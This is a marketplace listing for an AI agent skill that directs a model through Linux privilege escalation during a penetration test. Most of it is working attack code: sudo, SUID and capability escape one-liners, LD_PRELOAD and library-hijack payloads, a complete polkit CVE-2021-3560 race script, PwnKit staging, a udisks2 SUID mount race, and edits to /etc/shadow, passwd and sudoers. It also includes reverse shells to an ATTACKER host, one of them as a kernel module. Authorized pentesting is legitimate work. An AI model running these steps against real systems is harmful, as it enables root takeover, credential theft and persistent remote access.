Linux Sudo Suid Capabilities logo

Linux Sudo Suid Capabilities

Organization
blacklanternsecurity
linux-sudo-suid-capabilities

Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namelinux-sudo-suid-capabilities
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Linux Sudo Suid Capabilities AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/privesc/linux-sudo-suid-capabilities .claude/skills/linux-sudo-suid-capabilities
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Linux Sudo Suid Capabilities in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Linux Sudo Suid Capabilities on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Linux Sudo Suid Capabilities is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Linux Sudo, SUID, and Capabilities Exploitation

You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [linux-sudo-suid-capabilities] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on Linux target
  • At least one of: sudo permissions, SUID binary, binary with capabilities
  • Knowledge of target OS version (for CVE matching)

Step 1: Assess Sudo Configuration

If not already provided by linux-discovery, enumerate:

bash
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null

Classify findings and proceed to the relevant subsection below.

Step 2: Sudo NOPASSWD Exploitation

GTFOBins Binaries

If sudo -l shows (root) NOPASSWD: /path/to/binary, check GTFOBins for the binary.

Common sudo escapes (highest priority):

bash
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano  # Ctrl+R → Ctrl+X → command

# Pagers
sudo less /etc/hosts    # then type: !bash
sudo more /etc/hosts    # then type: !bash
sudo man man            # then type: !bash

# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed  # then type: !bash

# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'

# Network tools
sudo ftp  # then type: !bash
sudo nmap --interactive  # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash

# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash

# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copy

Sudo with Password (NOPASSWD not set)

If user has sudo access but needs a password, check for:

  • Known password from engagement state
  • Password reuse from other services
  • Sudo token reuse (see sudo_inject below)

Sudo with Specific Arguments

If sudo allows specific arguments (e.g., sudo /usr/bin/vim /etc/config):

  • Editor escape still works: sudo vim /etc/config:!bash
  • For restricted commands, check if argument injection is possible

Step 3: Sudo Environment Variable Abuse

LD_PRELOAD Injection

Prerequisite: sudo -l shows env_keep += LD_PRELOAD or SETENV: tag.

c
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
bash
# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>

LD_LIBRARY_PATH Injection

Prerequisite: sudo -l shows env_keep += LD_LIBRARY_PATH.

bash
# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary

# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles

# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary

PYTHONPATH / PERL5LIB Injection

Prerequisite: sudo -l shows SETENV: and binary calls Python/Perl.

bash
# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py

BASH_ENV Injection

Prerequisite: env_keep += BASH_ENV and command runs via bash.

bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p

Step 4: Sudo CVE Exploitation

CVE-2021-3156 (Baron Samedit) — Heap Overflow

Affected: sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).

MANDATORY — Verify before exploiting. Distro backports frequently patch sudo without changing the version string. Do NOT skip this step even if the version appears vulnerable.

bash
# Step 1: Check version
sudo -V | grep "Sudo version"

# Step 2: MANDATORY verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory corruption, "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message
#
# If you see "usage:" → STOP. This build is patched. Do not waste time
# downloading or compiling exploits. Check CVE-2021-3560 (polkit) or
# other vectors instead.

If verification confirms vulnerability, proceed with exploitation. Public exploits exist per distribution — match the target OS and use the correct variant.

Exploit transfer — attackbox-first workflow: Targets often lack internet access (CTF, air-gapped labs). Never git clone on target. Instead:

  1. Download/compile exploit on attackbox for target architecture
  2. Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
  3. Alternatively, write exploit source as a heredoc and compile on target
bash
# Exploits (multiple variants by OS — download on ATTACKBOX first):
# https://github.com/blasty/CVE-2021-3156
# https://github.com/worawit/CVE-2021-3156

CVE-2019-14287 — User ID Bypass

Prerequisite: sudo -l shows (ALL, !root) /bin/bash or similar restriction excluding root.

bash
# The !root restriction can be bypassed with UID -1
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
# Both resolve to UID 0 (root)

Sudo Token Reuse (sudo_inject)

Prerequisite: ptrace_scope = 0, user has valid sudo session token.

bash
# Check ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope  # Must be 0

# Check for sudo token files
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null

# If sudo token exists and ptrace allows:
# https://github.com/nongiach/sudo_inject
# Creates invalid token → next sudo -i requires no password

CVE-2021-3560 — Polkit D-Bus Authentication Bypass

Affected: polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).

Creates a privileged user account by exploiting a race condition in polkitd's D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd starts processing but before it replies), polkitd treats the absent reply as "authorized."

Prerequisites:

bash
# All four must be true:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null  # polkit < 0.117
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null  # installed
which dbus-send 2>/dev/null  # available
ps aux | grep polkit  # polkitd running

Phase 1 — Create privileged user via D-Bus race condition:

bash
NEW_USER="youruser"
NEW_FULLNAME="Your Name"

# Generate password hash for the new account
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)

# Race loop: send CreateUser request and kill it mid-authorization
# int32:1 = administrator (wheel/sudo group)
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply /org/freedesktop/Accounts \
        org.freedesktop.Accounts.CreateUser \
        string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
    PID=$!
    # Timing is critical — 0.005s to 0.015s covers most systems
    # Start at 0.008s; adjust if needed
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null

    if id "$NEW_USER" &>/dev/null; then
        echo "[+] User created on attempt $i"
        break
    fi
done

# Verify user was created with admin group
id "$NEW_USER"

Phase 2 — Set password via D-Bus race condition:

bash
# Get the new user's D-Bus object path
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
    --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.FindUserByName \
    string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)

echo "[*] User D-Bus path: $USER_PATH"

# Same race condition to set password
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply "$USER_PATH" \
        org.freedesktop.Accounts.User.SetPassword \
        string:"$HASH" string:"" &
    PID=$!
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null
done

Phase 3 — Verify and escalate:

bash
# Switch to new user and verify sudo
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
# Expected: uid=0(root) gid=0(root) groups=0(root)

# Get root shell
su - "$NEW_USER"
# Then: sudo -i (or echo password | sudo -S bash)

Timing calibration: The sleep value (0.008s) is timing-dependent. If the exploit fails after 100 attempts:

  • Try 0.005s (faster systems, VMs with low latency)
  • Try 0.012s (slower systems, remote SSH)
  • Try 0.003s (very fast local systems)
  • Run multiple rounds with different timings

The race typically succeeds within 20-50 attempts on most systems. If user creation works but password setting fails (or vice versa), adjust timing for each phase independently.

Remote execution via SSH (paramiko/sshpass): When automating over SSH, write the exploit as a bash script, transfer it via SFTP or heredoc, then execute. The race condition timing works the same over SSH — the sleep and kill happen on the target, not the attackbox.

Troubleshooting:

  • Error org.freedesktop.Accounts.Error.PermissionDenied on every attempt → polkitd may be patched or not running. Check systemctl status polkit.
  • User created but not in wheel/sudo group → the int32:1 flag sets administrator. Verify with id username. If not admin, the race lost on the group assignment — delete user and retry.
  • Password not set (su fails) → the SetPassword race is harder to win. Try more attempts (200+) or different timing. Verify the hash is correct: grep username /etc/shadow.
  • dbus-send not found → install dbus package or check /usr/bin/gdbus as alternative.

CVE-2021-4034 (PwnKit) — pkexec Argument Handling

Affected: polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).

pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root through GCONV_PATH environment variable manipulation. Requires pkexec to have the SUID bit set (default on virtually all installations).

Verification:

bash
# Check pkexec is SUID
ls -la /usr/bin/pkexec
# Expected: -rwsr-xr-x root root

# Check polkit version
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
# Vulnerable: < 0.120 (Debian/Ubuntu), < 0.120 (RHEL/CentOS)

Exploitation:

PwnKit requires staging files in a directory where the SUID process can execute shared libraries. /tmp is often mounted noexec on hardened systems.

bash
# Step 1: Find an exec-capable staging directory
# Try these in order — first writable+exec wins:
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
    mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
    [ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done

# Step 2: Stage exploit in the chosen directory
cd /dev/shm  # or whichever directory passed
mkdir -p pwnkit_work && cd pwnkit_work

Exploit transfer — attackbox-first workflow:

Public PwnKit exploits:

bash
# On ATTACKBOX: download and compile static binary
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
# Or compile static: gcc -static -o pwnkit PwnKit.c

# Transfer to target
python3 -m http.server 8080 &
# On TARGET:
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
bash
# Step 3: Execute
cd /dev/shm/pwnkit_work
./pwnkit
# Expected: root shell
id
# uid=0(root) gid=0(root)

If /tmp is noexec: This is the most common PwnKit failure. The GCONV_PATH trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead. Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and risk destabilizing the target.

If no exec-capable writable directory exists: PwnKit is blocked. Return to orchestrator with assessment: blocked — no exec-capable staging directory for GCONV_PATH .so. The orchestrator may route to linux-kernel-exploits for DirtyCow/DirtyPipe or other vectors that don't require shared library loading.

Step 4b: PAM Environment Injection + Polkit Active Session Bypass

When linux-discovery reports user_readenv=1 in PAM config and polkit allow_active=yes on privileged actions, this chain escalates an SSH session to perform operations that normally require physical console presence.

How It Works

  1. pam_env.so with user_readenv=1 reads ~/.pam_environment during the auth stack — before pam_systemd.so runs in the session stack
  2. Injecting XDG_SEAT and XDG_VTNR tricks pam_systemd into registering the SSH session as a physical console session (Active=yes)
  3. Polkit policies with allow_active=yes now grant access without authentication
  4. udisksctl loop-setup + Filesystem.Resize/Check triggers a temporary mount via libblockdev at /tmp/blockdev.XXXXXX without nosuid flags
  5. A SUID root binary in the mounted filesystem executes with euid=0

Prerequisites

  • SSH access as any user
  • pam_env.so configured with user_readenv=1 (default on SUSE/openSUSE)
  • udisks2 + libblockdev installed (default on most desktop-oriented installs)
  • Polkit allow_active=yes on udisks2 loop-setup and filesystem operations
  • xfsprogs on attackbox (for building the XFS image)

Step 1: Verify PAM Configuration

bash
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null
# Look for: pam_env.so user_readenv=1

If user_readenv=1 is NOT present, this technique does not apply.

Step 2: Inject Session Properties

bash
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

Disconnect the SSH session (exit), then reconnect. The new session will be registered as Active.

Step 3: Verify Active Session

bash
loginctl show-session "$XDG_SESSION_ID" | grep -E "Active|State|Seat"
# Expected: Active=yes, State=active, Seat=seat0

If Active=no, check that ~/.pam_environment was written correctly and that you fully disconnected and reconnected (not just opened a new channel on the same SSH connection).

Step 4: Build Malicious Filesystem Image (on attackbox)

Build an XFS image containing a SUID root bash binary. This requires root on the attackbox.

bash
# Get bash from target for glibc compatibility
scp user@TARGET:/bin/bash /tmp/target-bash

# Create XFS image
dd if=/dev/zero of=./suid.image bs=1M count=300
mkfs.xfs -f ./suid.image
mkdir -p /tmp/suid-mount
mount -t xfs ./suid.image /tmp/suid-mount
cp /tmp/target-bash /tmp/suid-mount/bash
chown root:root /tmp/suid-mount/bash
chmod 04555 /tmp/suid-mount/bash
umount /tmp/suid-mount

# Transfer to target
scp ./suid.image user@TARGET:~/suid.image

Step 5: Exploit UDisks2 Nosuid Mount Race

On target (with Active=yes session):

bash
# Kill gvfs-udisks2-volume-monitor if running (can interfere)
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true

# Create loop device (no auth prompt thanks to Active=yes)
udisksctl loop-setup --file ~/suid.image --no-user-interaction
# Note the device path (e.g., /dev/loop0)

# Start background catcher — races to exec SUID bash from temp mount
(while true; do
  for d in /tmp/blockdev*/; do
    [ -x "${d}bash" ] && exec "${d}bash" -p -c 'echo "[+] GOT ROOT"; id; exec bash -p'
  done
  sleep 0.01
done) &
CATCHER_PID=$!

# Trigger nosuid-less temporary mount via XFS resize
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 'a{sv}'

# If Resize errors, try Check instead:
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Check 'a{sv}'

# Wait and check
sleep 2
ls -la /tmp/blockdev*/bash 2>/dev/null

# Execute SUID bash directly if catcher didn't fire
/tmp/blockdev*/bash -p
# Expected: euid=0(root)

The -p flag is critical — without it, bash drops the elevated euid.

Troubleshooting

  • "Not authorized" from udisksctl: Active=yes didn't take effect. Verify with loginctl show-session. Ensure you fully disconnected and reconnected SSH.
  • Race doesn't land: The mount window is milliseconds. Retry 3-5 times. Kill the catcher (kill $CATCHER_PID), delete the loop device (udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction), and repeat from loop-setup.
  • Loop device is loop1/loop2: Adjust the gdbus object path to match (e.g., /org/freedesktop/UDisks2/block_devices/loop1).
  • No /tmp/blockdev appears*: libblockdev may use a different temp path. Check /proc/mounts while triggering Resize/Check. A compiled C catcher monitoring /proc/mounts in a tight loop is more reliable than the bash approach.
  • udisksctl not found: udisks2 not installed. This technique does not apply.

Cleanup

bash
rm ~/.pam_environment
kill $CATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction 2>/dev/null
rm ~/suid.image

Step 5: SUID Binary Exploitation

Enumeration

bash
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null   # SGID

GTFOBins SUID Exploitation

Same escapes as sudo but binary runs as owner (usually root). Key difference: bash drops privileges unless -p flag is used.

bash
# If /usr/bin/python3 has SUID bit
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/find has SUID bit
/usr/bin/find . -exec /bin/bash -p \;

# If /usr/bin/vim has SUID bit
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/bash has SUID bit
/usr/bin/bash -p

# If /usr/bin/cp has SUID bit — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 -salt xyz password123
# Add line: root2:$1$xyz$hashhere:0:0:root:/root:/bin/bash
/usr/bin/cp /tmp/modified_passwd /etc/passwd

Custom SUID Binary Analysis

For non-standard SUID binaries not in GTFOBins:

bash
# Analyze the binary
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"

Exploitation patterns:

  1. Calls system() with relative path → PATH hijack:
bash
# If binary calls system("service apache2 restart")
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
  1. Loads shared object from writable path → .so injection:
bash
# Check for missing libraries
ldd /path/to/suid_binary | grep "not found"
# Or check RPATH/RUNPATH
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
c
// exploit.c — shared object with constructor
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
bash
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary  # triggers library load → root shell
  1. Reads/writes files as root → read /etc/shadow or write /etc/passwd

SGID Exploitation

bash
# SGID binary runs with group of file owner
# If SGID binary belongs to 'shadow' group → read /etc/shadow
# If SGID binary belongs to 'docker' group → Docker socket access

# Impersonate group via Python SGID binary
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'  # 42 = shadow

Step 6: Linux Capabilities Exploitation

CAP_SETUID — Direct Root

bash
# Any binary with cap_setuid+ep → immediate root
# Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'

# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# PHP
php -r 'posix_setuid(0); system("/bin/bash");'

# Custom C binary
# If gcc and cap_setuid binary available:
# Compile: int main(){setuid(0);setgid(0);system("/bin/bash -p");}

CAP_SETGID — Group Escalation

bash
# Impersonate shadow group to read /etc/shadow
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'

# Impersonate root group
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'

CAP_DAC_OVERRIDE — Bypass Write Permissions

Binary can write to any file regardless of permissions.

python
# Append to /etc/sudoers
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
python
# Overwrite /etc/passwd with root user
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
    f.write(line)
'

CAP_DAC_READ_SEARCH — Read Any File

bash
# Read /etc/shadow directly
python3 -c 'print(open("/etc/shadow").read())'

# Read SSH private keys
python3 -c 'print(open("/root/.ssh/id_rsa").read())'

# Tar-based extraction (if tar has the capability)
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

Container escape (shocker exploit): Binary with cap_dac_read_search can use open_by_handle_at() to access host filesystem from within a container. Use the shocker exploit C code.

CAP_SYS_ADMIN — Mount and Namespace Abuse

bash
# Mount host disk (container escape)
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
python
# Mount overlay to replace /etc/passwd
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw")  # MS_BIND=4096
'

CAP_SYS_PTRACE — Process Injection

bash
# GDB injection into root process
gdb -p <root_pid>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
(gdb) detach
(gdb) quit
python
# Python ptrace injection (shellcode into root process)
import ctypes, os, struct, signal

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_CONT = 7

libc = ctypes.CDLL("libc.so.6")

# Find a root-owned process
pid = <target_root_pid>

# Attach, inject shellcode, set RIP, continue
libc.ptrace(PTRACE_ATTACH, pid, None, None)
os.waitpid(pid, 0)
# ... inject reverse shell shellcode at RIP ...
libc.ptrace(PTRACE_DETACH, pid, None, None)

CAP_SYS_MODULE — Kernel Module Loading

c
// reverse_shell.c — kernel module
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");

char *argv[] = {"/bin/bash", "-c",
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};

static int __init shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit shell_exit(void) {}
module_init(shell_init);
module_exit(shell_exit);
makefile
# Makefile
obj-m += reverse_shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
bash
make
insmod reverse_shell.ko

CAP_CHOWN / CAP_FOWNER — Ownership and Permission Changes

bash
# CAP_CHOWN: take ownership of /etc/shadow
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow  # Now readable

# CAP_FOWNER: make /etc/shadow world-readable
python3 -c 'import os; os.chmod("/etc/shadow", 0o666)'
cat /etc/shadow

CAP_SETFCAP — Capability Chaining

Binary can set capabilities on other binaries. Chain to cap_setuid:

python
# Set cap_setuid on python3
python3 -c '
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = libcap.cap_from_text(b"cap_setuid+ep")
libcap.cap_set_file(b"/usr/bin/python3", cap)
'

# Then exploit cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

CAP_NET_RAW — Packet Sniffing

Not directly exploitable for privilege escalation but enables credential sniffing:

bash
# Sniff for credentials on the network
tcpdump -i any -A -s0 'port 80 or port 21 or port 25' 2>/dev/null | grep -iE "user|pass|login"

Step 7: Escalate or Pivot

Troubleshooting

SUID binary drops privileges (bash without -p)

Bash resets EUID to RUID when they differ. Always use bash -p or call setuid(0) before exec. For system() calls: the child shell also drops privileges — use execve() instead or system("/bin/bash -p").

LD_PRELOAD doesn't work with sudo

Check: (1) env_keep includes LD_PRELOAD in sudo config, (2) binary is not statically linked (file /path/to/binary), (3) binary is not running in secure mode (SUID binaries ignore LD_PRELOAD by default — only works via sudo).

getcap returns nothing

Some systems strip capabilities. Check if getcap is available and has read access to binary directories. Try cat /proc/<pid>/status | grep Cap for running processes.

Kernel rejects module loading

CAP_SYS_MODULE may be restricted by Secure Boot or module signing. Check cat /proc/sys/kernel/modules_disabled — if 1, module loading is disabled system-wide. No bypass without kernel exploit.

SUID binary is statically linked

Cannot use shared object injection or LD_PRELOAD. Focus on argument injection, environment variable abuse, or functionality-based exploitation (GTFOBins patterns).

PwnKit fails with GCONV errors

The staging directory is likely mounted noexec. Move all PwnKit files to an exec-capable directory (/dev/shm, /var/tmp, home directory). Check with: mount | grep "$(df /path 2>/dev/null | tail -1 | awk '{print $1}')" — if the output includes "noexec", that directory won't work. If no exec-capable directory is writable, PwnKit is blocked — return to orchestrator.

Frequently asked questions

What does the Linux Sudo Suid Capabilities AI skill do?

Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.

Why use Linux Sudo Suid Capabilities on TypingMind?

Because you install it once and use it with any model. Linux Sudo Suid Capabilities is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Linux Sudo Suid Capabilities in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/privesc/linux-sudo-suid-capabilities. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Linux Sudo Suid Capabilities?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Linux Sudo Suid Capabilities?

As many as you like. As long as a model supports skills, you can use Linux Sudo Suid Capabilities with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Linux Sudo Suid Capabilities AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇